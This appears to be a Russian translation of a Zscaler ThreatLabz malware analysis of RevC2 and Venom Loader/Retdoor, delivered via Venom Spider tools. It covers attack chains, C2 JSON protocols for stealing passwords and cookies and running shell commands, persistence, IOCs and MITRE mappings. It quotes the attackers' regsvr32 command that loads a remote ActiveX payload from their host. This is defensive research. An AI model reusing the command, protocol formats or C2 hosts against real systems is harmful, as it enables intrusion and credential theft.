Введение
Venom Spider, также известный как GOLDEN CHICKENS, является субъектом угроз, известным тем, что предлагает инструменты Malware-as-a-Service (MaaS), такие как VenomLNK, TerraLoader, TerraStealer и TerraCryptor. Эти инструменты использовались другими группами угроз, такими как FIN6 и Cobalt, в прошлом. Недавно Zscaler ThreatLabz раскрыл две значительные кампании, использующие инструменты MaaS Venom Spider в период с августа по октябрь 2024 года. В ходе нашего расследования мы выявили два новых семейства вредоносных программ, которые мы назвали RevC2 и Venom Loader, которые были развернуты с использованием инструментов Venom Spider MaaS.В этом блоге мы анализируем цепочку атак, используемую в этих кампаниях, и предоставляем всесторонний анализ этих новых семейств вредоносных программ. Мы углубляемся в их основные функции, сетевые протоколы связи и команды.
Ключевые выводы
- В период с августа по октябрь 2024 года ThreatLabz выявила кампании, в которых использовались два новых семейства вредоносных программ — RevC2 и Venom Loader.
- Эти два новых семейства вредоносных программ были развернуты с помощью инструментов Venom Spider, предлагающих вредоносное ПО как услугу (MaaS).
- RevC2 использует WebSockets для связи со своим сервером управления и контроля (C2). Вредоносная программа способна красть куки и пароли, проксировать сетевой трафик и позволяет выполнять удаленный код (RCE).
- Venom Loader — это новый загрузчик вредоносного ПО, который настраивается под каждую жертву и использует имя компьютера жертвы для кодирования полезной нагрузки.
Технический анализ
В следующих разделах представлен технический анализ кампаний. URL-адреса и имена файлов, используемые в этих кампаниях, различаются в зависимости от образца. Мы проанализировали репрезентативный образец из каждой кампании.Кампания 1: Документация API заманивает к RevC2
Первая кампания, которая проводилась с августа по сентябрь, использовала приманку в виде документации API для доставки вредоносной нагрузки RevC2. RevC2 — это бэкдор с возможностями кражи конфиденциальных данных.На рисунке ниже показана цепочка атак, приводящая к доставке RevC2.

Рисунок 1: Цепочка атак первой кампании с использованием RevC2 в качестве полезной нагрузки.
Первая стадия: VenomLNK
Хотя метод распространения в настоящее время неизвестен, первый этап атаки начинается с файла VenomLNK. Этот файл LNK содержит обфусцированный пакетный (BAT) скрипт, который при запуске загружает изображение PNG из hxxp://gdrive[.]rest:8080/api/API.png. Изображение PNG является приманкой для документации API, как показано на рисунке ниже.
Рисунок 2: Приманка в виде документации API, использованная в первой кампании, которая использует RevC2.
Файл VenomLNK выполняет следующую команду в фоновом режиме для регистрации элемента управления ActiveX, запуская выполнение RevC2:
wmic process call create "regsvr32 /s /i \\gdrive.rest@8080\api\AdvancedWin.ocx"
Второй этап: RevC2
На втором этапе представлена версия RevC2, названная в честь пути к базе данных программ (PDB), наблюдаемого в двоичном файле:C:\Users\PC\Desktop\C2New\Rev\x64\Release\Rev.pdb
При выполнении RevC2 извлекает командную строку и проверяет, заканчивается ли первый аргумент на dWin.ocx, совпадая с суффиксом имени файла. Затем RevC2 извлекает путь к исполняемому файлу текущего процесса и сравнивает его с regsvr32.exe. Вредоносное ПО выполняется только в том случае, если обе проверки пройдены, что гарантирует запуск RevC2 как части цепочки атак, а не в аналитических средах, таких как песочницы.
Затем RevC2 извлекает локальное время операционной системы и создает файл журнала в формате C:\ProgramData\boot_%YYYYMMDDTHHMMSS%.log. Файл журнала хранит внутренние сообщения, генерируемые вредоносной программой во время ее выполнения.
Пример журнала, созданного RevC2, показан ниже:
[2024-11-14 17:21:38.530681]: Multipler : 1
[2024-11-14 17:22:01.546498]: Getting Passwords
Протокол связи RevC2
RevC2 использует WebSockets для связи C2 с помощью библиотеки C++, websocketpp. Адрес C2 жестко закодирован в двоичном коде. В образце, который мы исследовали, адрес был ws://208.85.17[.]52:8082.Все данные, которыми обмениваются компьютер жертвы и сервер C2, представляют собой объекты JSON.
- Машина жертвы на сервере C2: этот объект JSON включает два свойства:
- Отправляемый вывод.
- Тип command_IDвывода.
{"%output_name%": "%output_value%","type":"%command_ID%"}
- Сервер C2 на машину жертвы: Этот объект JSON включает два свойства:
- type: Содержит файл command_ID, сообщающий вредоносной программе, какие действия следует выполнить.
- command: Содержит command_parameter относящееся к действию, которое должно быть выполнено. В некоторых случаях свойство команды пустое.
Формат этого объекта JSON следующий:
{"type":"%command_ID%","command":"%command_parameter%"}
Отправляемый command_IDRevC2 на сервер C2 не всегда совпадает с command_IDотправляемым сервером C2 на RevC2. В двух случаях (при выполнении команд оболочки и создании снимков экрана) command_IDотличается, как показано в Таблице 1 и Таблице 2.
Регистрация клиента
Первые данные, отправленные на сервер, связаны с регистрацией. Данные представляют собой объект JSON в формате {"name": "%computername%","type":"0005"}.На рисунке ниже показан пример сетевого трафика между машиной жертвы и сервером C2.

Рисунок 3: Пример сетевого трафика между системой, зараженной RevC2, и сервером C2.
Поддерживаемые команды
RevC2 регистрирует обработчик функций, который обрабатывает command_IDи command_parameterс сервера C2 и выполняет соответствующие действия. command_IDПоддерживаемые RevC2 ' описаны в таблице ниже.Действие | command_ID | параметр_команды | Описание |
---|---|---|---|
Крадет пароли | 000000 | Пустой | Крадет пароли из браузеров Chromium. RevC2 начинает с записи записи в файл журнала с сообщением «Получение паролей». Затем RevC2 извлекает сохраненные пароли из браузеров Chromium и отправляет их на сервер C2. |
Выполняет команды оболочки | 0001 | %command% | Выполняет команды оболочки. Содержит command_parameterкоманду, которую необходимо выполнить. Для выполнения команды создается новый поток. %command%К нему добавляется cmd /c и эта командная строка используется для создания нового процесса. Создается канал, и стандартный вывод и ошибка процесса перенаправляются в этот канал. Вывод считывается из канала и отправляется на сервер C2. |
Делает скриншоты | 0002 | %mutipler% | Делает снимки экрана системы жертвы. Отправленное command_parameterзначение используется в качестве множителя. Ширина и высота экрана рабочего стола в пикселях умножаются на это значение для настройки разрешения снимка экрана. Действие добавляется в файл журнала в формате: [%TimeStamp%]:Multipler : %mutipler%. Снимок экрана рабочего стола жертвы делается, кодируется в base64 и отправляется на сервер C2. |
Прокси-трафик | 0003 | {"listenerIP": "%ip%", "listenerPort" : "%port%"} | Проксирует сетевые данные с использованием протокола SOCKS5. RevC2 получает данные на прокси-сервер от сервера C2 в command_parameter. RevC2 использует два внутренних идентификатора команд:
|
Крадет печенье | 0009 | Пустой | Крадет файлы cookie из браузеров Chromium. RevC2 начинает с записи записи в файл журнала с сообщением «Получение файлов cookie». Этот идентификатор также регистрирует в файле журнала сведения, связанные с кражей файлов cookie. Затем RevC2 извлекает сохраненные файлы cookie из браузеров Chromium и отправляет их на сервер C2. |
Выполняет команду от имени другого пользователя. | 0012 | {"username": "%username%","password": "%password%","command": "%commandline%"} | Выполняет команду от имени другого пользователя, используя полученные учетные данные. Это %commandline%может быть путь к файлу или команда. RevC2 не отправляет вывод команды на сервер C2. |
Таблица 1: Описание команд, поддерживаемых RevC2.
Формат данных для каждого RevC2 command_IDуказан в таблице ниже.
Действие | command_ID | Формат данных |
---|---|---|
Крадет пароли | 000000 | {"passwords":"Application: %application% Website: %website% Login URL: %url% User name: %username% Password: %password% ","type":"000000"}. |
Выполняет команды оболочки | 0007 | {"result":"%output_of_command%”, "type":"0007"} |
Делает скриншоты | 0006 | {"image":"%base64encoded_image%”, "type":"0006"} |
Прокси-трафик | 0003 | Н/Д |
Крадет печенье | 0009 | {"cookies":"[ { "Application":"%application%", "domain": "%domain%", "expirationDate": %exp_Date%, "httpOnly": %http_only%, "name": "%cookie_name%", "path": "%path%", "sameSite": "%samesite%", "Secure": %secure%, "url": "%url%", "value": "%cookie_value%" } ]", "type": "0009"} |
Выполняет процесс от имени другого пользователя. | 0012 | Н/Д |
Таблица 2: Формат данных для command_ID, поддерживаемый RevC2.
ThreatLabz создал скрипт Python, который эмулирует сервер RevC2. Скрипт доступен в нашем репозитории GitHub. На рисунке ниже показан пример вывода эмулированного сервера RevC2.

Рисунок 4: Скрипт Python, эмулирующий сервер RevC2.
Кампания 2: Приманка для криптовалютных транзакций приводит к вредоносному ПО Venom Loader и Retdoor
Вторая кампания, которая проходила с сентября по октябрь, по-видимому, использует приманку в виде криптовалютной транзакции для доставки Venom Loader. Затем Venom Loader загружает Retdoor, бэкдор JavaScript (JS), предоставляющий злоумышленнику возможности удаленного выполнения кода (RCE).На рисунке ниже показана цепочка атак для второй кампании, доставляющей Retdoor.
.png)
Рисунок 5: Цепочка атак второй кампании, доставляющая Retdoorполезную нагрузку.
Первая стадия: VenomLNK
Хотя способ распространения в настоящее время неизвестен, первый этап атаки начинается с файла VenomLNK. Файл LNK содержит запутанный скрипт BAT, который записывает скрипт Visual Basic Script (VBS) ( run_bat.vbs) и скрипт BAT ( bat2.bat) во временный каталог Windows. Сначала VenomLNK выполняет run_bat.vbs, который используется для выполнения bat2.bat. bat2.batФайл загружает изображение криптовалютной транзакции в качестве приманки и показывает его жертве, как показано на рисунке ниже.
Рисунок 6: Приманка для криптовалютных транзакций, используемая во второй кампании, использующей инструменты Venom Spider.
В фоновом режиме вредоносное ПО загружается base.zipиз hxxp://170.75.168[.]151/%computername%/aaa.
Затем BAT-файл распаковывается base.zip, который содержит ApplicationFrameHost.exe. Отсюда выполняется BAT-файл ApplicationFrameHost.exe, который загружает вредоносную DLL с именем dxgi.dll, что приводит к выполнению Venom Loader.
Вторая стадия: Venom Loader
Venom Loader DLL, используемый в этой кампании, создается индивидуально для каждой жертвы и используется для загрузки следующего этапа. Как упоминалось ранее, base.zip, который содержит Venom Loader, загружается из hxxp://170.75.168[.]151/%computername%/aaa.Значение %computername%— это переменная среды, которая содержит имя компьютера системы. Venom Loader использует %computername%как жестко закодированный ключ XOR для кодирования следующих этапов.
В этом случае для загрузки бэкдора используется Venom Loader Retdoor. RetdoorСодержимое хранится в Venom Loader как обычный текст. Содержимое подвергается операции XOR с %computername%и кодируется в base64. Результат этого разделяется на три части и записывается на диск с именами файлов text1, text2и text3.
После этого Venom Loader записывает скрипт PowerShell (PS) в %APPDATA%\Adobe\merge.ps1, который используется для декодирования фрагментов, хранящихся в text1, text2, и text3, и записывает его в %LOCALAPPDATA%\Microsoft\hello.js. Затем hello.jsвыполняется с помощью cscript.
Далее Venom Loader создает скрипт VBS с именем run_all.vbsв %APPDATA%\Adobeкаталоге. Этот скрипт предназначен для выполнения команд, переданных ему в качестве аргументов командной строки. Затем run_all.vbsиспользуется для запуска, merge.ps1приводящего к выполнению Retdoor. Наконец, Venom Loader устанавливает постоянство для Retdoorбэкдора, добавляя merge.ps1в раздел реестра автозапуска HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Runпод именем GoogleUpdate.
Третий этап: Retdoor
Retdoorнепрерывно отправляет HTTP POST-запросы в бесконечном цикле в <c2_address>/api/infos. Данные POST форматируются как name=^%computername%&ret=. Имя содержит имя компьютера жертвы, а первый запрос будет иметь ret как пустую строку. Вывод команды, которая должна быть выполнена, возвращается в следующем запросе внутри параметра ret. На рисунке ниже показан сетевой трафик между системой, зараженной Retdoorвредоносным ПО, и сервером C2.
Рисунок 7: Сетевой трафик между зараженной системой Retdoorи сервером C2.
Ответом на запрос являются данные JSON в формате {"command": %command_encoded%}. Они command_encodedобъединяются с помощью операции XOR %computername%и записываются во временный каталог Windows в виде .cmd файла, а затем выполняются.
Заключение
ThreatLabz наблюдал многочисленные кампании, использующие RevC2 и Venom Loader. Мы считаем, что эти семейства вредоносных программ, используемые в этих кампаниях, являются ранними версиями, и ожидаем, что в будущем будут добавлены дополнительные функции и методы антианализа.Zscaler Cloud Sandbox постоянно обнаруживает эти кампании и другие вредоносные атаки с высокой точностью. ThreatLabz продолжает отслеживать и отслеживать эти новые семейства вредоносных программ, чтобы защитить наших клиентов.
Покрытие Zscaler
Многоуровневая облачная платформа безопасности Zscaler обнаруживает индикаторы, связанные с RevC2 и Venom Loader на разных уровнях. На рисунке ниже изображена облачная песочница Zscaler, показывающая детали обнаружения для кампании, предоставляющей Venom Loader и Retdoor.
Рисунок 8: Отчет песочницы Zscaler для кампании, доставляющей Venom Loader и Retdoor.
Помимо обнаружения в «песочнице», многоуровневая облачная платформа безопасности Zscaler обнаруживает индикаторы, связанные с этими кампаниями, на различных уровнях со следующими названиями угроз:
Индикаторы Компромисса (IOC)
Тип | Индикатор | Описание |
---|---|---|
SHA256 | 9b0b58aa10577244bc0e174d588ffa8d34a54a34c1b59371acba52772b584707 | VenomLNK использовался в первой кампании. |
SHA256 | 46a982ec4ea400f8df403fa8384e1752dca070bd84beef06284f1d412e159e67 | VenomLNK использовался в первой кампании. |
SHA256 | cf45f68219c4a105fffc212895312ca9dc7f4abe37306d2f3b0f098fb6975ec7 | RevC2 |
SHA256 | 153cd5a005b553927a94cc7759a8909bd1b351407d8d036a1bf5fcf9ee83192e | RevC2 |
SHA256 | 8e16378a59eb692de2c3a53b8a966525b0d36412bfd79c20b48c2ee546f13d04 | VenomLNK использовался во второй кампании. |
SHA256 | f93134f9b4ee2beb1998d8ea94e3da824e7d71f19dfb3ce566e8e9da65b1d7a2 | Загрузчик яда |
URL | hxxp://170.75.168[.]151:8080/transaction.pdf.lnk/ | URL-адрес хостинга VenomLNK. |
URL | ws://208.85.17[.]52:8082 | C2 из RevC2. |
URL | ws://nopsec.org:8082/ | C2 из RevC2. |
URL | hxxp://65.38.121[.]211/api/infos | С2 из Retdoor. |
Методы атаки MITRE ATT&CK
ИДЕНТИФИКАТОР | Название техники | Описание |
---|---|---|
Т1547.001 | Ключи запуска реестра / Папка автозагрузки | Venom Loader использует ключ автозапуска для сохранения. |
Т1140 | Деобфускация/декодирование файлов или информации | RetdoorJS-контент подвергается операции XOR и кодируется в формате base64. |
Т1574.002 | Боковая загрузка DLL | Загрузчик Venom запускается ApplicationFrameHost.exeи переходит к боковой загрузке dxgi.dll. |
Т1539 | Украсть куки-файл веб-сеанса | RevC2 крадет файлы cookie из браузеров. |
Т1555 | Учетные данные из хранилищ паролей | RevC2 крадет сохраненные пароли из браузеров. |
Т1113 | Снимок экрана | RevC2 делает снимки экрана жертвы. |
Т1090 | Прокси | В RevC2 есть команда, которая проксирует трафик. |
Т1059 | Интерпретатор команд и сценариев | RevC2 и Retdoorоба имеют возможности RCE. |
Т1571 | Нестандартный порт | RevC2 осуществляет связь C2 через нестандартный порт. |
Т1071.001 | Протокол прикладного уровня: веб-протоколы | RevC2 использует WebSocket для связи с C2. Retdoorиспользует HTTP для связи с C2. |
Т1041 | Эксфильтрация через канал C2 | RevC2 и Retdoorспособны перехватывать украденную информацию по каналу C2. |
Приложение
Посетите наш репозиторий GitHub, чтобы получить доступ к скрипту Python, который эмулирует сервер WebSocket RevC2.Источник